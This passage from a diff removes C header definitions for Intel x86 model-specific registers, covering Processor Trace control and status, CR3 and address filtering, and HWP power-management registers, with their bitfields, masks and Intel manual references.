IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_MASK 0x01 -#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED(_) (((_) >> 11) & 0x01) - - /** - * @brief PTWEn - * - * [Bit 12] - 0: PTWRITE packet generation disabled. - * - 1: PTWRITE packet generation enabled. - */ - uint64_t ptw_enabled : 1; -#define IA32_RTIT_CTL_PTW_ENABLED_BIT 12 -#define IA32_RTIT_CTL_PTW_ENABLED_FLAG 0x1000 -#define IA32_RTIT_CTL_PTW_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_PTW_ENABLED(_) (((_) >> 12) & 0x01) - - /** - * @brief BranchEn - * - * [Bit 13] - 0: Disable COFI-based packets. - * - 1: Enable COFI-based packets: FUP, TIP, TIP.PGE, TIP.PGD, TNT, MODE.Exec, MODE.TSX. - * - * @see Vol3C[35.2.5.4(Branch Enable (BranchEn))] - */ - uint64_t branch_enabled : 1; -#define IA32_RTIT_CTL_BRANCH_ENABLED_BIT 13 -#define IA32_RTIT_CTL_BRANCH_ENABLED_FLAG 0x2000 -#define IA32_RTIT_CTL_BRANCH_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_BRANCH_ENABLED(_) (((_) >> 13) & 0x01) - - /** - * @brief MTCFreq - * - * [Bits 17:14] Defines MTC packet Frequency, which is based on the core crystal clock, or Always Running Timer (ART). MTC - * will be sent each time the selected ART bit toggles. The following Encodings are defined: - * 0: ART(0), 1: ART(1), 2: ART(2), 3: ART(3), 4: ART(4), 5: ART(5), 6: ART(6), 7: ART(7), 8: ART(8), 9: ART(9), 10: - * ART(10), 11: ART(11), 12: ART(12), 13: ART(13), 14: ART(14), 15: ART(15) - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.MTC[bit 3] = 0 - * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] - */ - uint64_t mtc_frequency : 4; -#define IA32_RTIT_CTL_MTC_FREQUENCY_BIT 14 -#define IA32_RTIT_CTL_MTC_FREQUENCY_FLAG 0x3C000 -#define IA32_RTIT_CTL_MTC_FREQUENCY_MASK 0x0F -#define IA32_RTIT_CTL_MTC_FREQUENCY(_) (((_) >> 14) & 0x0F) - uint64_t reserved1 : 1; - - /** - * @brief CYCThresh - * - * [Bits 22:19] CYC packet threshold. CYC packets will be sent with the first eligible packet after N cycles have passed - * since the last CYC packet. If CycThresh is 0 then N=0, otherwise N is defined as 2(CycThresh-1). The following Encodings - * are defined: - * 0: 0, 1: 1, 2: 2, 3: 4, 4: 8, 5: 16, 6: 32, 7: 64, 8: 128, 9: 256, 10: 512, 11: 1024, 12: 2048, 13: 4096, 14: 8192, 15: - * 16384 - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 - * @see Vol3C[35.3.6(Cycle-Accurate Mode)] - * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] - */ - uint64_t cyc_threshold : 4; -#define IA32_RTIT_CTL_CYC_THRESHOLD_BIT 19 -#define IA32_RTIT_CTL_CYC_THRESHOLD_FLAG 0x780000 -#define IA32_RTIT_CTL_CYC_THRESHOLD_MASK 0x0F -#define IA32_RTIT_CTL_CYC_THRESHOLD(_) (((_) >> 19) & 0x0F) - uint64_t reserved2 : 1; - - /** - * @brief PSBFreq - * - * [Bits 27:24] Indicates the frequency of PSB packets. PSB packet frequency is based on the number of Intel PT packet - * bytes output, so this field allows the user to determine the increment of IA32_IA32_RTIT_STATUS.PacketByteCnt that - * should cause a PSB to be generated. Note that PSB insertion is not precise, but the average output bytes per PSB should - * approximate the SW selected period. The following Encodings are defined: - * 0: 2K, 1: 4K, 2: 8K, 3: 16K, 4: 32K, 5: 64K, 6: 128K, 7: 256K, 8: 512K, 9: 1M, 10: 2M, 11: 4M, 12: 8M, 13: 16M, 14: 32M, - * 15: 64M - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 - * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] - */ - uint64_t psb_frequency : 4; -#define IA32_RTIT_CTL_PSB_FREQUENCY_BIT 24 -#define IA32_RTIT_CTL_PSB_FREQUENCY_FLAG 0xF000000 -#define IA32_RTIT_CTL_PSB_FREQUENCY_MASK 0x0F -#define IA32_RTIT_CTL_PSB_FREQUENCY(_) (((_) >> 24) & 0x0F) - uint64_t reserved3 : 4; - - /** - * @brief ADDR0_CFG - * - * [Bits 35:32] Configures the base/limit register pair IA32_RTIT_ADDR0_A/B based on the following encodings: - * - 0: ADDR0 range unused. - * - 1: The [IA32_RTIT_ADDR0_A..IA32_RTIT_ADDR0_B] range defines a FilterEn range. FilterEn will only be set when the IP is - * within this range, though other FilterEn ranges can additionally be used. - * - 2: The [IA32_RTIT_ADDR0_A..IA32_RTIT_ADDR0_B] range defines a TraceStop range. TraceStop will be asserted if code - * branches into this range. - * - 3..15: Reserved (\#GP). - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 0) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] >= 0 - * @see Vol3C[35.2.4.3(Filtering by IP)] - * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] - */ - uint64_t addr0_cfg : 4; -#define IA32_RTIT_CTL_ADDR0_CFG_BIT 32 -#define IA32_RTIT_CTL_ADDR0_CFG_FLAG 0xF00000000 -#define IA32_RTIT_CTL_ADDR0_CFG_MASK 0x0F -#define IA32_RTIT_CTL_ADDR0_CFG(_) (((_) >> 32) & 0x0F) - - /** - * @brief ADDR1_CFG - * - * [Bits 39:36] Configures the base/limit register pair IA32_RTIT_ADDR1_A/B based on the following encodings: - * - 0: ADDR1 range unused. - * - 1: The [IA32_RTIT_ADDR1_A..IA32_RTIT_ADDR1_B] range defines a FilterEn range. FilterEn will only be set when the IP is - * within this range, though other FilterEn ranges can additionally be used. - * - 2: The [IA32_RTIT_ADDR1_A..IA32_RTIT_ADDR1_B] range defines a TraceStop range. TraceStop will be asserted if code - * branches into this range. - * - 3..15: Reserved (\#GP). - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 1) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 2 - * @see Vol3C[35.2.4.3(Filtering by IP)] - * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] - */ - uint64_t addr1_cfg : 4; -#define IA32_RTIT_CTL_ADDR1_CFG_BIT 36 -#define IA32_RTIT_CTL_ADDR1_CFG_FLAG 0xF000000000 -#define IA32_RTIT_CTL_ADDR1_CFG_MASK 0x0F -#define IA32_RTIT_CTL_ADDR1_CFG(_) (((_) >> 36) & 0x0F) - - /** - * @brief ADDR2_CFG - * - * [Bits 43:40] Configures the base/limit register pair IA32_RTIT_ADDR2_A/B based on the following encodings: - * - 0: ADDR2 range unused. - * - 1: The [IA32_RTIT_ADDR2_A..IA32_RTIT_ADDR2_B] range defines a FilterEn range. FilterEn will only be set when the IP is - * within this range, though other FilterEn ranges can additionally be used. - * - 2: The [IA32_RTIT_ADDR2_A..IA32_RTIT_ADDR2_B] range defines a TraceStop range. TraceStop will be asserted if code - * branches into this range. - * - 3..15: Reserved (\#GP). - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 2) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 3 - * @see Vol3C[35.2.4.3(Filtering by IP)] - * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] - */ - uint64_t addr2_cfg : 4; -#define IA32_RTIT_CTL_ADDR2_CFG_BIT 40 -#define IA32_RTIT_CTL_ADDR2_CFG_FLAG 0xF0000000000 -#define IA32_RTIT_CTL_ADDR2_CFG_MASK 0x0F -#define IA32_RTIT_CTL_ADDR2_CFG(_) (((_) >> 40) & 0x0F) - - /** - * @brief ADDR3_CFG - * - * [Bits 47:44] Configures the base/limit register pair IA32_RTIT_ADDR3_A/B based on the following encodings: - * - 0: ADDR3 range unused. - * - 1: The [IA32_RTIT_ADDR3_A..IA32_RTIT_ADDR3_B] range defines a FilterEn range. FilterEn will only be set when the IP is - * within this range, though other FilterEn ranges can additionally be used. - * - 2: The [IA32_RTIT_ADDR3_A..IA32_RTIT_ADDR3_B] range defines a TraceStop range. TraceStop will be asserted if code - * branches into this range. - * - 3..15: Reserved (\#GP). - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 3) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 4 - * @see Vol3C[35.2.4.3(Filtering by IP)] - * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] - */ - uint64_t addr3_cfg : 4; -#define IA32_RTIT_CTL_ADDR3_CFG_BIT 44 -#define IA32_RTIT_CTL_ADDR3_CFG_FLAG 0xF00000000000 -#define IA32_RTIT_CTL_ADDR3_CFG_MASK 0x0F -#define IA32_RTIT_CTL_ADDR3_CFG(_) (((_) >> 44) & 0x0F) - uint64_t reserved4 : 8; - - /** - * @brief InjectPsbPmiOnEnable - * - * [Bit 56] - 1: Enables use of IA32_RTIT_STATUS bits PendPSB[6] and PendTopaPMI[7]. - * - 0: IA32_RTIT_STATUS bits 6 and 7 are ignored. - * - * @remarks Reserved if CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 0 - * @see Vol3C[35.2.7.4(IA32_RTIT_STATUS MSR)] - */ - uint64_t inject_psb_pmi_on_enable : 1; -#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_BIT 56 -#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_FLAG 0x100000000000000 -#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_MASK 0x01 -#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE(_) (((_) >> 56) & 0x01) - uint64_t reserved5 : 7; - }; - - uint64_t flags; -} ia32_rtit_ctl_register; - - -/** - * Tracing Status Register. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) - */ -#define IA32_RTIT_STATUS 0x00000571 -typedef union -{ - struct - { - /** - * @brief FilterEn (writes ignored) - * - * [Bit 0] This bit is written by the processor, and indicates that tracing is allowed for the current IP. Writes are - * ignored. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[2] = 1) - * @see Vol3C[35.2.5.5(Filter Enable (FilterEn))] - */ - uint64_t filter_enabled : 1; -#define IA32_RTIT_STATUS_FILTER_ENABLED_BIT 0 -#define IA32_RTIT_STATUS_FILTER_ENABLED_FLAG 0x01 -#define IA32_RTIT_STATUS_FILTER_ENABLED_MASK 0x01 -#define IA32_RTIT_STATUS_FILTER_ENABLED(_) (((_) >> 0) & 0x01) - - /** - * @brief ContexEn (writes ignored) - * - * [Bit 1] The processor sets this bit to indicate that tracing is allowed for the current context. Writes are ignored. - * - * @see Vol3C[35.2.5.3(Context Enable (ContextEn))] - */ - uint64_t context_enabled : 1; -#define IA32_RTIT_STATUS_CONTEXT_ENABLED_BIT 1 -#define IA32_RTIT_STATUS_CONTEXT_ENABLED_FLAG 0x02 -#define IA32_RTIT_STATUS_CONTEXT_ENABLED_MASK 0x01 -#define IA32_RTIT_STATUS_CONTEXT_ENABLED(_) (((_) >> 1) & 0x01) - - /** - * @brief TriggerEn (writes ignored) - * - * [Bit 2] The processor sets this bit to indicate that tracing is enabled. Writes are ignored. - * - * @see Vol3C[35.2.5.2(Trigger Enable (TriggerEn))] - */ - uint64_t trigger_enabled : 1; -#define IA32_RTIT_STATUS_TRIGGER_ENABLED_BIT 2 -#define IA32_RTIT_STATUS_TRIGGER_ENABLED_FLAG 0x04 -#define IA32_RTIT_STATUS_TRIGGER_ENABLED_MASK 0x01 -#define IA32_RTIT_STATUS_TRIGGER_ENABLED(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief Error - * - * [Bit 4] The processor sets this bit to indicate that an operational error has been encountered. When this bit is set, - * TriggerEn is cleared to 0 and packet generation is disabled. - * When TraceEn is cleared, software can write this bit. Once it is set, only software can clear it. It is not recommended - * that software ever set this bit, except in cases where it is restoring a prior saved state. - * - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA Errors)] - */ - uint64_t error : 1; -#define IA32_RTIT_STATUS_ERROR_BIT 4 -#define IA32_RTIT_STATUS_ERROR_FLAG 0x10 -#define IA32_RTIT_STATUS_ERROR_MASK 0x01 -#define IA32_RTIT_STATUS_ERROR(_) (((_) >> 4) & 0x01) - - /** - * @brief Stopped - * - * [Bit 5] The processor sets this bit to indicate that a ToPA Stop condition has been encountered. When this bit is set, - * TriggerEn is cleared to 0 and packet generation is disabled. - * When TraceEn is cleared, software can write this bit. Once it is set, only software can clear it. It is not recommended - * that software ever set this bit, except in cases where it is restoring a prior saved state. - * - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA STOP)] - */ - uint64_t stopped : 1; -#define IA32_RTIT_STATUS_STOPPED_BIT 5 -#define IA32_RTIT_STATUS_STOPPED_FLAG 0x20 -#define IA32_RTIT_STATUS_STOPPED_MASK 0x01 -#define IA32_RTIT_STATUS_STOPPED(_) (((_) >> 5) & 0x01) - - /** - * @brief Pend PSB - * - * [Bit 6] If IA32_RTIT_CTL.InjectPsbPmiOnEnable[56] = 1, the processor sets this bit when the threshold for a PSB+ to be - * inserted has been reached. The processor will clear this bit when the PSB+ has been inserted into the trace. If PendPSB - * = 1 and InjectPsbPmiOnEnable = 1 when IA32_RTIT_CTL.TraceEn[0] transitions from 0 to 1, a PSB+ will be inserted into the - * trace. - * - * @remarks If CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 1 - */ - uint64_t pend_psb : 1; -#define IA32_RTIT_STATUS_PEND_PSB_BIT 6 -#define IA32_RTIT_STATUS_PEND_PSB_FLAG 0x40 -#define IA32_RTIT_STATUS_PEND_PSB_MASK 0x01 -#define IA32_RTIT_STATUS_PEND_PSB(_) (((_) >> 6) & 0x01) - - /** - * @brief Pend ToPA PMI - * - * [Bit 7] If IA32_RTIT_CTL.InjectPsbPmiOnEnable[56] = 1, the processor sets this bit when the threshold for a ToPA PMI to - * be inserted has been reached. Software should clear this bit once the ToPA PMI has been handled. If PendTopaPMI = 1 and - * InjectPsbPmiOnEnable = 1 when IA32_RTIT_CTL.TraceEn[0] transitions from 0 to 1, a PMI will be pended. - * - * @remarks If CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 1 - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA PMI)] - */ - uint64_t pend_topa_pmi : 1; -#define IA32_RTIT_STATUS_PEND_TOPA_PMI_BIT 7 -#define IA32_RTIT_STATUS_PEND_TOPA_PMI_FLAG 0x80 -#define IA32_RTIT_STATUS_PEND_TOPA_PMI_MASK 0x01 -#define IA32_RTIT_STATUS_PEND_TOPA_PMI(_) (((_) >> 7) & 0x01) - uint64_t reserved2 : 24; - - /** - * @brief PacketByteCnt - * - * [Bits 48:32] This field is written by the processor, and holds a count of packet bytes that have been sent out. The - * processor also uses this field to determine when the next PSB packet should be inserted. Note that the processor may - * clear or modify this field at any time while IA32_RTIT_CTL.TraceEn=1. It will have a stable value when - * IA32_RTIT_CTL.TraceEn=0. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] > 3) - * @see Vol3C[35.4.2.17(Packet Stream Boundary (PSB) Packet)] - */ - uint64_t packet_byte_count : 17; -#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_BIT 32 -#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_FLAG 0x1FFFF00000000 -#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_MASK 0x1FFFF -#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT(_) (((_) >> 32) & 0x1FFFF) - uint64_t reserved3 : 15; - }; - - uint64_t flags; -} ia32_rtit_status_register; - - -/** - * @brief Trace Filter CR3 Match Register (R/W) - * - * The IA32_RTIT_CR3_MATCH register is compared against CR3 when IA32_RTIT_CTL.CR3Filter is 1. Bits 63:5 hold the CR3 - * address value to match, bits 4:0 are reserved to 0. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) - * @see Vol3C[35.2.4.2(Filtering by CR3)] - * @see Vol3C[35.2.7.6(IA32_RTIT_CR3_MATCH MSR)] (reference) - */ -#define IA32_RTIT_CR3_MATCH 0x00000572 -typedef union -{ - struct - { - uint64_t reserved1 : 5; - - /** - * [Bits 63:5] CR3[63:5] value to match. - */ - uint64_t cr3_value_to_match : 59; -#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_BIT 5 -#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_FLAG 0xFFFFFFFFFFFFFFE0 -#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_MASK 0x7FFFFFFFFFFFFFF -#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH(_) (((_) >> 5) & 0x7FFFFFFFFFFFFFF) - }; - - uint64_t flags; -} ia32_rtit_cr3_match_register; - -/** - * @defgroup ia32_rtit_addr \ - * IA32_RTIT_ADDR(x) - * - * The role of the IA32_RTIT_ADDRn_A/B register pairs, for each n, is determined by the corresponding ADDRn_CFG fields in - * IA32_RTIT_CTL. The number of these register pairs is enumerated by CPUID.(EAX=14H, ECX=1):EAX.RANGECNT[2:0]. - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) - * @see Vol3C[35.2.7.2(IA32_RTIT_CTL MSR)] - * @see Vol3C[35.2.7.5(IA32_RTIT_ADDRn_A and IA32_RTIT_ADDRn_B MSRs)] (reference) - * @{ - */ - /** - * @defgroup ia32_rtit_addr_a \ - * IA32_RTIT_ADDR(n)_A - * - * Region n Start Address. - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) - * @{ - */ -#define IA32_RTIT_ADDR0_A 0x00000580 -#define IA32_RTIT_ADDR1_A 0x00000582 -#define IA32_RTIT_ADDR2_A 0x00000584 -#define IA32_RTIT_ADDR3_A 0x00000586 - /** - * @} - */ - - /** - * @defgroup ia32_rtit_addr_b \ - * IA32_RTIT_ADDR(n)_B - * - * Region n End Address. - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) - * @{ - */ -#define IA32_RTIT_ADDR0_B 0x00000581 -#define IA32_RTIT_ADDR1_B 0x00000583 -#define IA32_RTIT_ADDR2_B 0x00000585 -#define IA32_RTIT_ADDR3_B 0x00000587 - /** - * @} - */ - -typedef union -{ - struct - { - /** - * [Bits 47:0] Virtual Address. - */ - uint64_t virtual_address : 48; -#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_BIT 0 -#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_FLAG 0xFFFFFFFFFFFF -#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_MASK 0xFFFFFFFFFFFF -#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS(_) (((_) >> 0) & 0xFFFFFFFFFFFF) - - /** - * [Bits 63:48] SignExt_VA. - */ - uint64_t sign_ext_va : 16; -#define IA32_RTIT_ADDR_SIGN_EXT_VA_BIT 48 -#define IA32_RTIT_ADDR_SIGN_EXT_VA_FLAG 0xFFFF000000000000 -#define IA32_RTIT_ADDR_SIGN_EXT_VA_MASK 0xFFFF -#define IA32_RTIT_ADDR_SIGN_EXT_VA(_) (((_) >> 48) & 0xFFFF) - }; - - uint64_t flags; -} ia32_rtit_addr_register; - -/** - * @} - */ - - - /** - * DS Save Area. Points to the linear address of the first byte of the DS buffer management area, which is used to manage - * the BTS and PEBS buffers. - * Returns: - * - [63:0] The linear address of the first byte of the DS buffer management area, if IA-32e mode is active. - * - [31:0] The linear address of the first byte of the DS buffer management area, if not in IA-32e mode. - * - [63:32] Reserved if not in IA-32e mode. - * - * @remarks If CPUID.01H:EDX.DS[21] = 1 - * @see Vol3B[18.6.3.4(Debug Store (DS) Mechanism)] - */ -#define IA32_DS_AREA 0x00000600 - - /** - * TSC Target of Local APIC's TSC Deadline Mode. - * - * @remarks If CPUID.01H:ECX.[24] = 1 - */ -#define IA32_TSC_DEADLINE 0x000006E0 - - /** - * Enable/disable HWP. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - */ -#define IA32_PM_ENABLE 0x00000770 -typedef union -{ - struct - { - /** - * [Bit 0] HWP_ENABLE. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.2(Enabling HWP)] - */ - uint64_t hwp_enable : 1; -#define IA32_PM_ENABLE_HWP_ENABLE_BIT 0 -#define IA32_PM_ENABLE_HWP_ENABLE_FLAG 0x01 -#define IA32_PM_ENABLE_HWP_ENABLE_MASK 0x01 -#define IA32_PM_ENABLE_HWP_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_pm_enable_register; - - -/** - * HWP Performance Range Enumeration. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - */ -#define IA32_HWP_CAPABILITIES 0x00000771 -typedef union -{ - struct - { - /** - * [Bits 7:0] Highest_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] - */ - uint64_t highest_performance : 8; -#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_BIT 0 -#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_FLAG 0xFF -#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_MASK 0xFF -#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Guaranteed_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] - */ - uint64_t guaranteed_performance : 8; -#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_BIT 8 -#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_FLAG 0xFF00 -#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_MASK 0xFF -#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Most_Efficient_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] - */ - uint64_t most_efficient_performance : 8; -#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_BIT 16 -#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_FLAG 0xFF0000 -#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_MASK 0xFF -#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] Lowest_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] - */ - uint64_t lowest_performance : 8; -#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_BIT 24 -#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_FLAG 0xFF000000 -#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_MASK 0xFF -#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE(_) (((_) >> 24) & 0xFF) - uint64_t reserved1 : 32; - }; - - uint64_t flags; -} ia32_hwp_capabilities_register; - - -/** - * Power Management Control Hints for All Logical Processors in a Package. - * - * @remarks If CPUID.06H:EAX.[11] = 1 - */ -#define IA32_HWP_REQUEST_PKG 0x00000772 -typedef union -{ - struct - { - /** - * [Bits 7:0] Minimum_Performance. - * - * @remarks If CPUID.06H:EAX.[11] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t minimum_performance : 8; -#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_BIT 0 -#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_FLAG 0xFF -#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Maximum_Performance. - * - * @remarks If CPUID.06H:EAX.[11] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t maximum_performance : 8; -#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_BIT 8 -#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_FLAG 0xFF00 -#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Desired_Performance. - * - * @remarks If CPUID.06H:EAX.[11] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t desired_performance : 8; -#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_BIT 16 -#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_FLAG 0xFF0000 -#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] Energy_Performance_Preference. - * - * @remarks If CPUID.06H:EAX.[11] = 1 && CPUID.06H:EAX.[10] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t energy_performance_preference : 8; -#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_BIT 24 -#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0xFF000000 -#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_MASK 0xFF -#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 24) & 0xFF) - - /** - * [Bits 41:32] Activity_Window. - * - * @remarks If CPUID.06H:EAX.[11] = 1 && CPUID.06H:EAX.[9] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t activity_window : 10; -#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_BIT 32 -#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_FLAG 0x3FF00000000 -#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_MASK 0x3FF -#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW(_) (((_) >> 32) & 0x3FF) - uint64_t reserved1 : 22; - }; - - uint64_t flags; -} ia32_hwp_request_pkg_register; - - -/** - * Control HWP Native Interrupts. - * - * @remarks If CPUID.06H:EAX.[8] = 1 - */ -#define IA32_HWP_INTERRUPT 0x00000773 -typedef union -{ - struct - { - /** - * [Bit 0] EN_Guaranteed_Performance_Change. - * - * @remarks If CPUID.06H:EAX.[8] = 1 - * @see Vol3B[14.4.6(HWP Notifications)] - */ - uint64_t en_guaranteed_performance_change : 1; -#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_BIT 0 -#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_FLAG 0x01 -#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_MASK 0x01 -#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] EN_Excursion_Minimum. - * - * @remarks If CPUID.06H:EAX.[8] = 1 - * @see Vol3B[14.4.6(HWP Notifications)] - */ - uint64_t en_excursion_minimum : 1; -#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_BIT 1 -#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_FLAG 0x02 -#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_MASK 0x01 -#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM(_) (((_) >> 1) & 0x01) - uint64_t reserved1 : 62; - }; - - uint64_t flags; -} ia32_hwp_interrupt_register; - - -/** - * Power Management Control Hints to a Logical Processor. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - */ -#define IA32_HWP_REQUEST 0x00000774 -typedef union -{ - struct - { - /** - * [Bits 7:0] Minimum_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t minimum_performance : 8; -#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_BIT 0 -#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_FLAG 0xFF -#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Maximum_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t maximum_performance : 8; -#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_BIT 8 -#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_FLAG 0xFF00 -#define 